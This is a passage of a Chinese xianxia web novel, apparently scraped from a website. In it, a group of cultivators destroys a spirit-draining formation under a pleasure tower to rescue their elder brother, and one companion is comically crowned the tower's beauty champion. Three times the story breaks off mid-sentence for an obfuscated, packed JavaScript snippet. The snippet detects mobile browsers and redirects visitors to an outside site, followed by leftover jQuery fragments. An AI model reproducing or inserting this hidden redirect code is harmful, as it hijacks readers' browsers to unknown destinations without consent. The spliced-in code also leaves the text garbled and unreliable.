萧衔蝉焦急道:“谢道友,你本就身负重伤,别为了我们再伤身伤神了,我这就送你回去休息!” 萧衔蝉要感动死了,他们本是顺手将谢棺从墟空救起,甚至没能彻底治好他的身体,还间接将他的法宝弄得四分五裂,结果谢道友如此舍身报恩,先是为了找到他们其他人而留在浮云阁,现在又为了大师兄跑上跑下,劳心劳力。 谢无柩喘着气,连忙道:“不行,我一定要下去!” 他想要的东西肯定在地下,这几个蠢货干甚阻他的路? 自己都重伤若此,还要下去寻救命恩人,这就是纯朴的修真界才能生出的纯朴之人,一首感恩的心忽然作为bgm响起来,萧衔蝉感动得眼泪汪汪,金不禁和秦含玉也一脸感激看着谢无柩。 萧衔蝉心想,自己与谢道友相处虽时间不长,却能看出此人是个倔强非常的人,二师兄的燃净印只能支撑一刻钟,此时将他送走,再回来不知会不会生出波折,倒不如将他保护好,让他随他们一起走。 恐怖片里都是这样的,单个要走的角色都是第一个领盒饭的。 想到此,萧衔蝉的尾巴将谢棺裹得更紧了。 谢无柩缓缓吐纳,稳住已破的不能再破的灵府,之前几番强行运灵终究让他的伤更重了。 许是这个妖修自见面起就常常用尾巴触碰他,他对她的尾巴倒不陌生,现在被熟悉的暖乎乎毛茸茸包裹着,他觉得头顶笼罩的魔气也不是不能接受。 蓬莱三人将自己个的芥子袋翻了个底朝天,每人都匀出了五分之一师父亲手画的符箓给谢无柩。 金不禁道:“也是我们考虑不周,你如今无法用法术护身,这些符箓拿好了。” 秦含玉不多话,豪爽地将符箓塞到师姐尾巴的绒毛里,示意他自己拿。 萧衔蝉则直接挑出几张护身符箓,在谢棺的额头贴一张,脑后贴一张,胸前贴一张,背后贴一张,贴到他浑身全是绿油油,仿佛一个迎风的招财树后,才道:“好了,如此一来,便是半步飞升也不能伤你分毫了。” 谢无柩顶着一身在魔气涤荡下唰唰作响的别致绿符箓,被萧衔蝉的尾巴圈着,觉得自己脸都快绿了。 高处不胜寒,明月夜上更是清寒。 夜犹良打了个哆嗦,小心翼翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870784|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“小子知晓老祖法力无边,又有黄真人在旁协助,那群人莫说寻到入地阵法,便是寻到了,也会慑于魔气,无法入内,可是万一,小子是说万一,万一他们进到了那个阵呢?” 出个万一,他的摇钱树浮云阁就会毁于一旦,他自己也会遗臭万年。 露白长老心说被寻到岂不更好,他就不用担心这段时间祟气压不住了。 他对这个畏畏缩缩,贪财又胆小的后辈很是看不上,不说与名扬九州的原家少君、左家少君相比,就是与其他门派一些凡人出身的弟子比,夜犹良也是比不过的,要不是夜家这一辈实在无人,他才不会让这个小辈参与到浮云阁的事。 露白长老冷哼一声:“你莫不是忘了地下阵法是什么了?只要他们入阵,便一丝法力也发不出,只能乖乖任阵法攫取法力和灵气。 除非他们有魄力散尽修为,即便散尽修为,阵法仍能以灵根为食,莫非他们还能有个经脉碎裂,灵根断绝的同伴不成? 若是他们发现阵眼是那东西……想当初我等降伏它都是趁沉睡之际,如今它虽走火入魔,实力大减,然元婴都不是它的对手,更别说散尽修为的修士,他们若是不自量力,去杀阵眼出阵,只能被那东西当做口粮。” 夜犹良心有戚戚然点头。 露白微抬眼皮,瞥了他一眼:“近一月来,黄真人已是第二次将人引到地下,那东西的祟气越来越猖狂,日后你要好好经营浮云阁,多引些外地来的散修。” 夜犹良讷讷道:“阵中的东西是魔物,折磨他倒还罢了,若是需要灵气,浮云阁赚到的灵石不在少数,何不用灵石……” 要是失踪的修士越来越多,他的浮云阁就开不下去了啊!可是在露白长老无言的威压下,他说不下去了。 “蠢货!” 露白长老声音冷漠,轻挥扇子,夜犹良只觉一阵罡风冲面而来,自己脚下站着的地板如龟背般裂开,他连忙跪下去,五体投地,不敢多言。 露白云淡风轻地收回扇扇子的手,珍珠楼瞬间恢复如初,他冷声道:“你看,月亮好看吗?” 夜犹良方从惊骇中回过神,听闻老祖问话,小心答道:“好看。” 露白看着朗朗夜空和云下如蚁的人群,道:“月亮要挂在天上才好看。” 明月夜乃密州无冕之主,自该被千万修士所供养。 夜犹良不敢多话,只心中庆幸,既然阵法所在机密无比,想来那伙人也找不到。 踏入遍布魔气与祟气的阵中,瞬间天旋地转,再睁眼时,萧衔蝉发现他们来到了一处伸手不见五指的小洞。 金不禁中指与拇指一搓,指尖亮起一小簇明火,足以照亮此地,这里是个像坟包的地穴,一条阴暗小道就在几人面前。 四周铃铃声作响,是浮云阁飞檐上的铃铛,在阁里时这些铃声一个也听不见,这里听得倒是清楚得很。 萧衔蝉忽然道:“浮云阁阁主房间里的阵法上贴的符箓,是防止祟气溢散的,那个阁主,他是肯定故意把我们引到这里来的。” 金不禁和秦含玉一同点头:“看出来了,只是为避免大师兄被那缚鬼阵缠住,哪怕万分之一的可能,咱们也只能明知山有虎,偏向虎山行了。” 谢无柩倒有些意外,他还以为他们行事之前不细加思量,这么看来,这些人还是有脑子的。 24. 明月夜(十一) 金不禁走在最前面,右手指尖亮起明火,左手放出金灵气凝聚成的尖刀。 萧衔蝉紧随其后,妖修的五感较之普通修士更加敏感,她仔细探查前方情况,身后的尾巴则紧紧裹住贴满符箓的谢无柩。 秦含玉殿后,且停侯锋芒毕露,丝丝魔气与整个洞里的魔气交缠在一起。 就这样小心翼翼地走了许久,在大家以为这条路没有尽头时,一道幽蓝的光芒夹杂着金光,明明灭灭,闪烁在前方。 “不对劲,不要着急进去。”萧衔蝉眉头紧皱,她闻到了极重的血腥和煞气,“小玉,你送一缕魔气进去试探一二。” 秦含玉听从师姐吩咐,她的魔气甫一触碰到那抹幽蓝,就被绞杀得一干二净,她没有害怕,反而惊喜道:“我好像感觉到大师兄的气息了。” “可是如若大师兄在此,妙妙早就嗅到味道了。”金不禁道,他看向前方金蓝相间的光芒,有些不确定道,“那金光,好像……的确与大师兄的灵气相似。” 谢无柩本在思考那些人会把他想要的东西放在哪,闻言也看向前方,看到那缕缕金光灿如朝日,他微微讶异道:“花道友不是个鬼修么?为什么他的灵气里有如此深厚的功德?” 恶尽曰功,善满称德,此等耀目金光,非救苦救难者,不可能有如此功德。 “这是功德?”萧衔蝉也很惊讶,功德不是佛修才会有的东西吗?他们大师兄施法时,其法术常含金光,她还以为修为到了金丹的修士,法术都会变成金色。 金不禁道:“这也不奇怪,大师兄是医修,他救了那么多人,积攒了功德也很正常。” “你们大师兄是个医修?”谢无柩挑眉惊讶道。 萧衔蝉点头:“你忘了,咱们第一次见面时,我们就告诉你了呀。” 谢无柩惊诧于他们初见时自我介绍竟然是真的,又惊愕于世上竟还有以鬼身入医道的修士。 他语气满是惊讶:“我素来只知道鬼修走鬼道,魔修走魔道,竟还有不循自身而以他道修行的修士?” 萧衔蝉笑道:“照你这么说,人修就得走人道,那怎么还会有剑修、刀修、体修、音修、儒修、佛修等等入道方式了?大道五十,天衍四九,循一道自己喜欢的修行就是了。” 谢无柩想想自己见过的数不清的修士,心道真是世界之大无奇不有,既然有鬼修入医道,想这妖修也有特别造化吧。 几人疾行至光芒大盛处,过了极狭窄的漆黑小道,只见一处巍峨大殿现于眼前,环殿竖着十二根石柱,每一根柱子上都有一前爪似鹰后爪似虎的奇兽,威风凛凛。 兽口中伸出幽蓝色的铁链,层层捆缚着正中冒着黑气的白色玉柱。 十二奇兽石柱与铁链形成了一个镇压阵法,如同庞大的锅盖圈出这一片地方,阵法中的光芒像雷电一般,时不时攻击一下在南侧的骷髅——那是无法维持肉身幻影的花沸雪。 萧衔蝉被眼前这幕震住了,面露不忍,盖因这个阵法当中除了大师兄,还有数不清的累累白骨,宛如一个骷髅林。 漆灰骨末丹水沙,凄凄古血生铜花。颗颗朽坏的头颅犹如开败的荷花,一骨碌就从颈椎上断裂,跌在地上滚了好几圈,然后似烧干的柴火般,化为灰烬。 那骨灰顺着阵法中的灵气盘旋,在地上堆积了厚厚一层灰沙,分明处于水乡地下,却与西北大漠一样。 花沸雪的黑袍早已被抽得破破烂烂,肉身幻影也维持不住,骷髅身没入这堆小山丘般的白骨里,幽蓝阵法与飘荡的骨灰交织在一起。 他神情肃穆悲悯,分明打坐于危机四伏之中,却让他坐出了在佛前聆听慈音的架势。 此时,他双手合十,嘴里不断念出楞严经,身上金光大盛,与幽蓝和黑气斗在一起,有一个女修躺在他身后,形容消瘦,竟比花沸雪这个鬼修还像骷髅,她的身下还压着具白骨。 秦含玉正要上前叫大师兄,被萧衔蝉拦下:“先不要轻举妄动,大师兄现在真神出窍,正在超度那黑气,若是我们贸然打扰,说不得就会害大师兄受伤” 他们来到大师兄背后的石柱旁,时刻准备踏进阵法支援。 萧衔蝉好奇地指着柱子上口含铁链的怪兽:“这是什么兽?” 谢无柩正细细打量大殿装饰,闻言只说出一个字:“犼。” 犼,上古神兽,据说一犼可斗二龙三蛟,且这神兽喜食龙脑。 秦含玉随着他们的对话看向殿中的白色玉柱,道:“用犼来镇压,难不成这里有条龙?” 只见被幽蓝铁链束缚的玉柱里突然凝聚出一条模糊的龙影,其似是被缚在玉柱中,龙影仰天长啸,威势不比真龙之身,然其龙吟也震得几人耳朵渗血。 在阵外的几人听到龙吟都受了伤,何况身处阵法之中的花沸雪,他森森白骨上裂开几条纹,耳孔上生长的骨昙都蔫了,花瓣掉落好几片,本就法力大失的他几乎连骷髅体都快凝不住,要显出三魂七魄来。 “大师兄!” 几人焦急,半只脚差点进入阵法,却被花沸雪呵住。 “不要进来,这阵法会吸食修士法力,甚至连灵根都能炼化!”花沸雪急道,白色的指骨指向身旁的女修,“这位道友是土木双灵根,我入阵时她已经濒死,当时阵法为诱我深入,没有显现真面目,我便用回灵丹救了她,她醒来后才对我说了这阵法的邪处,便又昏倒了,如今她的灵根已被蚕食一半了。” 众人看向这位女修,她身形双颊凹陷,眼圈青黑,正苦苦抵抗攫取她灵气的阵法,连睁眼的力气都没有。 修者炼魂锻体,若非神魂难支,灵法散尽,其体魄一般不会有损伤,重伤如谢无柩者,从外表看,也不过是虚弱了点,可这位女修却已经像是被抽干了。 秦含玉怒火中烧:“怪道那浮云阁阁主千方百计把我们引来,想必就是为了借用这个邪阵炼化我们的修为。” 萧衔蝉看着已经快身死道消的女修,不忍道:“师兄,我们能把她拉出来吗?她不会就是失踪的张小凤吧?” 花沸雪摇头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876553|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “除非破了这阵法,否则阵中的东西一样也出不去。”他看向白色玉柱,“阵眼在这根白色柱子处,柱子的守护兽是一条黑龙,我也不确定阵眼究竟是柱子还是龙。” 这阵法很奇怪,阵中的玉柱看似束缚着黑龙,让他很是痛苦,可若有人要毁了玉柱时,这黑龙便凶性大发,护着玉柱不让任何人靠近。 且只要一踏入阵法,管你是多高修为,皆如黄沙奔泄,渐渐散得一干二净,只要还有一丝灵气,阵法就不会放人出去。 而踏入仙途的修士,连骨头缝里都充斥着灵气,是以只要修士入阵,就会被这个阵法扒皮吮血,敲骨吸髓,直至肉身湮灭、身死道消。 “我方才试图用楞严经去除黑龙魔障,也没成功。”花沸雪疲惫道。 “不如我们封了修为进阵?和师兄一起杀了那恶龙。”金不禁出主意。 花沸雪却不赞同:“这阵法高深的很,连灵根都会炼化,还是不要冒险了。” 阵法外一时陷入无言的焦躁与沉默。 “霹啪!”铁链过电般响动了一下,阵法中的几人脸色都更苍白了,阵中的玉柱愈加莹白。 “这也太白了,太干净了。” 见南山的粮油店里,张喜鹊坐在窗口,低头对着窗外白玉铺就的道路感慨。 白玉京少有凡人,她出现在白玉京,就如同误入人群的田鼠,处处被忽视、被厌恶,这些天她从没好好看看白玉京,现在于那几位好心道长的房间暂住,才有几分闲心观赏这座城池。 张喜鹊习惯先低头,然后再抬头看着夜空中的明月夜,她不由喃喃道:“月亮挂在天上真好看啊,也不知道小凤看没看到……” 谢无柩盯着阵中白色玉柱的某处,眼眸微微闪动,忽然抬手,食指戳到萧衔蝉的额头上,细微的光芒闪过,他的脸更苍白几分。 萧衔蝉感受到额头一触即离的微凉,惊愕地看他:“谢道友?” “我将剩下的一丝灵力给你了。”谢无柩道,“现在我与凡人无异,此阵对我也无效,不若我进阵看看?许是能找到其他破阵的法子。” 话音一落,众人皆神情复杂地看着他。 花沸雪动容道:“谢道友,我本没有治好你,你何必冒险呢?” 萧衔蝉补充道:“大师兄你还不知道吧,谢道友在外得知你不见了,急得不顾重伤在身,跑前跑后,就为了帮我们找到你。” 金不禁无言地拍拍谢无柩的肩膀,秦含玉抱刀感动地看着他。 大伙的眼神就只有一个意思,这位谢道友,真是一个滴水之恩,涌泉相报的老好人。 老实人谢无柩捏捏眉心。 要是有人说谢无柩城府深,他非但不会生气,反而觉得是夸奖,要是有人说他狠毒,谢无柩也只会认为此人独具慧眼。 可现在有人说他是个好人! 好人?这是多么另类的侮辱啊! 谢无柩心绪复杂,他决定了,等他在这里找到自己想要的东西后,就和这群人分道扬镳。 25. 明月夜(十二) “此阵脱胎于九转夺灵阵。”他看着十二犼石柱,“又融合了镇妖阵,缚鬼阵,锁魔阵等多个阵法,压制此间熊熊魔煞,又利用灵气净化祟气。 破它倒也不难,只需在灵力耗尽之前,感化阵中的魔龙,让他不再有怨,或寻到每个小阵眼,逐一击破。” 谢无柩的手指在半空比划,一一算出阵眼,只才算出一个阵眼,额头便冒出滴滴冷汗。 他依旧不紧不慢地分析,嘴唇渐渐失去血色,落在萧衔蝉眼中,就是他不顾自身安危,坚持入阵救人。 萧衔蝉的眼睛突然一亮,拍手道:“不如我们来点简单的法子?” 谢无柩想起上一次萧衔蝉说简单时,还是她带着一群人帮那个见南山修士逃票闯进浮云阁,他心中顿时涌上一股莫名的不祥之感。 “俗话说得好,乱拳打死老师傅!”萧妙妙道,她的办法一向直接,“我们不搞那些说服黑龙放下屠刀,立地成佛,合作共赢的麻烦东西,谢无柩,你就记住一个字——九变十化、化繁为简、简单粗暴! 进去后,也不必寻找什么阵眼,将爆炸符贴满所有地方,通通炸了了事!” 谢无柩嘴角抽搐,这是一个字吗? 萧妙妙气粗胆壮,师父半步飞升的修为,给他们画了那么多法力无边的符箓,每张符箓的威力都至少相当于百吨TNT,这么多的符箓加在一起,怎么着也能和核弹媲美了,她就不信,阵法再厉害,还能厉害过核弹? 玄学和物理学,谁更强大,今日就要见分晓! 在谢无柩进入阵法前,萧衔蝉将护体的符箓在他身上贴得满满当当,又拿出一沓“杀”、“爆”、“破”的符箓交到谢棺手上。 本就绿油油的谢无柩更绿了。 萧衔蝉犹不放心,看着阵法里那些幽蓝铁链时不时爆出雷电,她皱眉,就谢棺这个娇弱的身体,被打一下会哭很久吧。 她突然又有了一个好主意:“大师兄,你说这个阵法为了诱你深入,开始时没有吸食你的修为?那我要是把尾巴伸进去,它应该也不会蚕食我的修为吧?” 棕红色环纹大尾巴在萧衔蝉身后晃来晃去,毛茸茸的尾巴尖勾出跃跃欲试的弧度。 谢无柩走进阵法里,如他猜测的一般无二,这阵法对他这个与凡人无异的废人一丝兴趣也无,但铁链上幽蓝的光芒会化成雷电,在阵里无规律地游荡。 “噼啪”一声,雷电没有击中谢无柩,一股焦味传来,黑色的灰从谢无柩头顶窸窸窣窣落下。 他抬头,头上罩着一片毛绒“伞”,正是萧衔蝉的尾巴。 萧衔蝉坐在阵外,屁股差一点就挨着阵法边缘,一条大尾巴在她的施法下越来越大,将谢无柩保护得密不透风,阵中的雷击被她的尾巴挡住,她在阵外疼得快哭出来了。 为了不体验雷劫的疼痛,她连再精进修为的想法都没有,结果现在在这里却体验到了雷击,真是该来的躲也躲不掉。 谢无柩自己都没意识到自己的动作加快了,将几张符箓飞快地贴到玉柱、铁链以及地板上,如他预料的那样,这条黑龙对毫无修为和法力的凡人一个眼神都没给。 他大声道:“萧道友,未避免出现错漏,这根玉柱顶最好也贴几张,你可否将我送上去?” 话音未落,萧衔蝉便如他所愿,毛绒尾巴又长了几分,将谢无柩裹成一个卷,送到了玉柱上。 这玉柱两头粗中间细,谢无柩在上面看到玉柱好似是中空的,在圆形空洞上,一块灰扑扑的珠子卡在里面,他无声冷笑,一边借由贴符箓的动作,一边不留痕迹地将那灰珠子袖了。 想了想,又将自己早就碎了的法宝残片放了一块上去,这才招呼萧衔蝉将他放下。 等他一做示意完毕的动作,就如弹簧般被快速拉出阵法,谢无柩一时反应不及,双手失礼地在半空中乱晃了几下。 方于阵外站定,萧衔蝉的尾巴就将他裹得更紧几分,在尾巴缠绕上胳膊的瞬间,谢无柩袖中的那颗珠子就化为无形,悄悄没入萧衔蝉的体内,只谢无柩如今形如凡人,萧衔蝉又一向心大,摸摸似是被蚊子叮了的后脑勺,毫无所觉。 “师兄,快拿出师父给的符箓保护好自己!”萧衔蝉三人在阵外已经双手掐诀,准备引爆阵内符箓,花沸雪立刻将自己和阵中的两位女修护好,缩在一角。 幽蓝的光芒越来越盛,铁链铛铛作响,好像感受到了不安似的震动。 身为渡劫期的无法心道君虽然在徒儿面前总是一副男妈妈的和蔼温柔模样,但他一身半步飞升的修为不可小觑。 绿色叶子上刻有的金色符文好像抽丝般一条条清晰起来,紧接着,成百上千的绿符突然金光大盛,同时发力。 “轰”的一声巨响,所有人就被送上天和太阳,不,和月亮肩并肩了。 萧衔蝉感觉自己好像看到了蘑菇云。 浮云阁正值花魁大比开幕式,阁顶大开,烟花在晚霞中璀璨夺目,红纱飞舞,美人图挂在木柱上千姿百态。 底下客人们欣赏美人表演,为自己心仪之人豪掷千金,一派潇洒恣意,热闹非凡。 时青谷被卿鱼公子拉上台,一同主持此等盛况。 所有人竞选花魁的人都自我介绍完毕,只差最后一个传说中的谢公子。 底下看客听卿鱼公子讲了半个时辰传说中的谢公子是多么天姿国色,已经个个对没有画像的谢公子心驰神往了。 有客人不满地泼冷水——“说到底,那个谢公子是何模样,修何大道,来自何门派,我等都不知晓,凭你们几句夸夸其谈,就想勾勒出一个天香国色的美人不成?我猜这个谢公子肯定是个丑八怪!” 时青谷气得脸都红了,想他的知己谢道友是多么光风霁月,为寻爱侣的师兄,都不顾身体,亲自操劳,品性与容貌俱佳,可谓才貌双全,这人怎么能如此贬低谢道友呢? 卿鱼公子悄悄对时青谷说:“你既然与谢道长熟识,不若替他做个介绍,待会谢道长来了,也免得面对这些咄咄逼人的无礼之人。” 时青谷小声道:“你知晓我是修生灵道的,谢道友亦是,九州修士少有看得起生灵道的,我怕……” 卿鱼公子不赞同道:“那又如何,那些人不过是坐井观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888490|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,心胸狭隘之辈罢了,我还是修合欢道的,那些人也从没看得起我,难道为了这些人看得起,便要隐藏真正的自己吗?这样做,岂不是自己看不起自己?” 时青谷想起谢道友无论何时都道心坚定的模样,心中惭愧自己妄自菲薄,又感谢卿鱼公子的点拨,他感激一笑,想到萧道友吃鸡腿时,夸赞南山修士都是踏实修道的好修士,说他们下接地气,上承天灵,生灵道是感悟天地的道路。 时青谷心中的底气越聚越多,他面朝台下看官,挺直脊背,大声道:“谢公子是修生灵道的,他是养猪的!” 全场静默了一瞬,所有人以为自己听错了,正当有人反应过来,要嘲笑时,忽觉地面震动。 血玉铸造的地板出现龟裂般丝丝裂纹,金光含电游走其中。 震感愈加强烈,人们犹如簸箕上的豆子,随地面起伏颠簸,众人惊慌失措,做鸟兽散。 只刹那,一道金光似利刃冲破高台,直接从大开的浮云阁顶冲向夜空,贯穿了整座浮云阁九十九层楼,隔开圆月与明月夜。 磅礴之力将所有人掀翻,飞檐上的铃铛震动,疯了似的响,浮云阁好像一串被金柱串起来的糖葫芦,人们被这千百年未有之景象震住了,惊疑不定地看着眼前这一幕。 爆炸的瞬间,萧衔蝉他们就感觉到一股极大的冲击力冲向他们,即便他们有师父给的符箓护体,也不自控地被这股力道冲击得只能随波逐流。 在飞沙走石一片混乱中,秦含玉的怀里突然“啪叽”一声,砸来一条黑乎乎的蛇一样的灵兽,黑兽睁着一双迷蒙的红眼睛,突然变成一个裸男,抱着秦含玉哭喊:“娘——” 秦含玉险些被眼前限制级画面刺瞎眼,这裸男突然又变回一条蛇,死了似的,软趴趴的挂在秦含玉脖子上 萧衔蝉几人惊诧,还不待他们回头看突然喜当妈的师妹,就被粗壮如定海神针的金光带到云霄之上。 露白真人每日太阳西斜之时都会来到珍珠楼的玉台上,他在此打坐,静侯夜晚降临,在这里,他能看到白玉京的灯火辉煌,游人如织,每个人都会在子时不约而同地抬头望月,目光尽是崇敬。 这就是明月夜,为众人所敬仰的明月夜,这样的明月夜传到日后登上掌门之位的自己手中,方才不会堕了他的名号。 露白真人满意地阖眼,手里的扇子微微动着,火烧云席卷天际,云蒸霞蔚中,一点月牙渐渐显露。 月亮就该挂在天上,正如明月夜就该为密州各门各派的魁首,没有人能将自己放到俯视明月夜的位置。 明月夜生来就应高高在上,他作为明月夜玉箫道君之下的第一人,日后也会如天边明月,不容任何蝼蚁看低他、俯视他! “啊啊啊———” 露白不满地蹙起眉头,缓缓睁开双眼。 何人聒噪? 但见眼前一片金光,好似金乌扑面,他诧异地顺着粗如神柱的金光抬头,和被“蘑菇云”冲上来的萧衔蝉一上一下双目对视,面面相觑。 露白真人:…… 萧衔蝉:…… 好尴尬呀。 26. 明月夜(十三)(二章合一)^^…… 谢无柩一身的符箓在刚刚抵挡数百爆破符时,为护住他毫无灵力、破碎不堪的身体,齐齐耗尽,此时他从云端直直落下。 此世不得好死,谢无柩心中默想自己注定的命运,曾被春不过掌门天枢仙君批过的命,这一世,他以为自己会死在堕魔渊里,结果悠悠千年,他又醒了,还遇到一群莫名其妙的人,本想着许是命不该绝,结果他又要死了。 却原来这一段时间,是侥幸得来的。 被摔成肉泥,骨头一根根碎掉,□□在掉到地面的瞬间就会变成碎块,如同砧板上的鸡一样死去,这是他此生命定的结局罢。 红云穿过他的发丝,眼前只有濒临死亡却依然灿烂的晚霞。 他睁大眼睛,正如他坠入堕魔渊时,亲眼见证自己最后的结局。 忽然,眼前氤氲起一片旖旎的红雾与彤云交织在一起,耳畔嘈杂声越来越响,一股不同于白玉京醉人香气的清雅馥郁缓缓攀上他的鼻尖。 谢无柩看见自己身上突然飘出无数花瓣,蹁跹而舞,这些花瓣合成一朵硕大的缓缓绽放的牡丹,将他轻轻托起。 红雾散去,谢无柩发现自己落在浮云阁一楼的高台上,浮云阁九十九层花灯簌簌从他头顶落下,落了一地花雨。 台子背后竖着无数道木柱,上面的美人图千娇百媚,唯有正中的木柱没有画像,而他,现在就在正中的木柱前。 牡丹花像宝座一样托着他从天而降,伴随着漫天飘舞的花朵落到台子上,正好遮住了他们方才从地底冲上来时冲破的大洞。 硕大的花瓣也挡住了断裂的梁柱,好似天下只有谢无柩一人不染尘埃,遗世独立。 萧衔蝉在天上看到这一幕,想起来给谢棺买法衣时,衣裳店的老板说这件法衣有特殊之处,原来特殊之处指的是在人遇到危险时,大花布棉袄上的牡丹花会救人! 绿叶牡丹花从衣服上脱离出来,衣服就变成普普通通的红衣,穿着正常衣服的谢无柩看上去更好看了。 所有看客被刚刚突如其来的意外吓到,现在如梦初醒般看着台子正中央被牡丹和百花围绕的青年。 这人的脸端方持重,看上去不容侵犯,宛如仙界的司法仙君,但眼睛狭长,眼尾勾起的弧度像妖精般夺人心魄,他现在面色苍白,脸上擦出几条血痕,实在是……实在是…… 太让人想将他拉下云端,让他一直稳重冷峻的脸露出失态的表情来。 时青谷以为自己眼花了,要不然他怎么在方才突如其来的金色光柱里看到了师姐的身影,他的师姐……上天了? 正在他仰天望月怀疑人生时,一朵妖艳的红色牡丹裹挟异香缓缓飘下,牡丹里……这、这人不是他的知己谢道友吗? 只一段时间不见,谢道友身上那件引人注目的花布衣不见了,但他出场的方式却更引人注目了。 谢道友他们到底经历了什么啊?等等,现在还在花魁大比中! 反应过来后,时青谷指着谢无柩大声道:“这就是我说的修杀猪道的谢公子,此等容貌与气度,难道还当不起花魁的名号吗?” 卿鱼公子连忙推波助澜,亦大声道:“我看了谢公子的容貌,心中惭愧,自愿退出花魁之比!大家看看这牡丹,也只有如谢公子般花中魁首,才配得上花中之王。” 好一副实力C位给皇族让位的景象。 在两人不遗余力地烘托下,底下从惊魂未定中恢复的客人们顺着天上降落的人看去,喃喃自语:“这就是天仙下凡啊!”人们激动起来,“天女,不,天男散花,牡丹仙男下凡了!” 观众纷纷将灵石和鲜花扔向台子上,卿鱼公子终于帮助恩公之友圆梦,他骄傲地大声喊道:“我宣布,本届九州花中魁首,乃是谢棺谢公子!” 浮云阁里一片喝彩,百花飞舞,所有人都很开心,唯独谢无柩硬了,拳头硬了。 他一脸呆滞地看高台之下人们的狂欢,此时此刻,面对此情此景,谢无柩终于明白了一个道理:人类的悲欢并不相通,他只觉得吵闹。 在谢无柩以杀猪之身荣登花魁宝座之时,天上传来一声巨响,所有人从浮云阁顶看出去,只见圆月之旁的明月夜,不见了。 阁外传来止不住的惊呼和跑步声,所有人都说着同一句话——“老天爷下屌了?” 只见,方才因万千符箓齐齐爆炸造成的光柱还未散去,夹在明月夜和不甚明亮的月亮之间,远远看去,跟某种器官一模一样。 凡在密州大醉三千的人们看到这一幕,皆放浪形骸,效仿某部风靡九州大作中的主人公,在细雨中振臂大喊:“老天爷你下吊吧,C死我吧!” 今夜,花魁诞生之夜,亦是文豪诞生之夜,注定有人成为鲁先生,有人成为余先生。 旁人尚可以此事为乐,唯独明月夜的修士们焦急不已,因为他们感觉到稳挂云端,不染尘埃的明月夜,根基不稳了。 一阵又一阵的震感传来,在惊呼中,挂在密州天上数千年的明月夜,坠落了。 明月夜落在了白玉山旁,撞击出无数玉屑,下雨般“泠泠”作响。 好在白玉山峰顶圆润平滑,没有给明月夜带来太大的损伤,加之明月夜的修士一齐出手,或操琴,或吹笛,袅袅仙音托住明月夜,拥有十二楼的明月夜只有十二楼正中的玉台破损得厉害。 白玉山造型奇特,好像一个倒扣的碗,旁边是一座大湖,名醉仙湖,湖水呈碧青色,白玉京里特有的香气在这里格外浓郁,几乎吸一口就能让人醉过去。 与这座湖一起观赏时,白玉山就像被打翻的碗,里面的酒液蜿蜒流出。 萧衔蝉刚落在岸边,便被泠泠碎玉击中额头,她一边捏诀抵挡,一边寻找师兄妹们。 先找到二师兄和小师妹,三人一同寻找大师兄,终于在浮云阁与醉仙湖之间的水面上找到非常显眼的两具骷髅。 两具? 萧衔蝉飞身过去,只见大师兄护着那名女修落下,而那名女修用腰带将一具骷髅捆在身下,骷髅的右腿已经被阵法侵蚀了一半。 即便昏迷,女修也似用本能保护身下的骷髅。 牡丹台上的谢无柩正要下台远离这场闹剧,就被时青谷拉住了:“谢道友,我看到萧道友还有我师姐他们了!” 不待谢无柩说话,时青谷就像拉着谢无柩进浮云阁那样,又带着谢无柩离开了浮云阁。 萧衔蝉和二师兄小师妹一起给两个情况不太好的人输送灵气,大师兄尚且意识清醒,那位女修只醒了片刻,艰难抬起眼皮,挣扎执礼道:“在下见南山弟子吴青雉,谢诸位道友救命之恩。” “吴师姐——”时青谷人未到,声先闻,满脸惊诧与焦急,“吴师姐你这几天去哪儿了,怎么变成这副模样?萧道友,你们怎么从地底突然窜出来?发生什么事了?” 吴青雉道完谢转眼就又晕过去了,萧衔蝉轻咳一声:“咱们还是先回住处再叙旧吧。” 从诡谲的地底阵法出来,理智便重回大脑高地,萧衔蝉看着浮云阁破了一个大洞的玉地板、差点撞碎的明月夜宗门,还有乱成一团的白玉京,心中的算盘已经算出来一个巨额赔偿数字了。 也不知道那个居心叵测的浮云阁阁主给的契符能不能兑出灵石。 “可恶,那伙人明明看着不着调,怎会破了我布的阵法。”白衣人一掌拍到案桌上,牙关紧咬,发出木头摩擦似的咯吱声。 “主人,轮回盘灵珠还在阵法中,要不要找回来?”碧芳小心翼翼地问道。 白衣人摇摇头:“罢了,师尊命我亲手销毁灵珠,那颗灵珠被魔龙的魔气侵蚀多年,估计早就毁坏了,无需寻找,当务之急是离开这里,你去收拾东西,今晚咱们就走。” “咱们要不要今晚就走?” 同样谋划跑路的,还有蓬莱岛的金不禁。 萧衔蝉挠挠头:“咱们闹出这么大动静,得赔偿才行吧。” 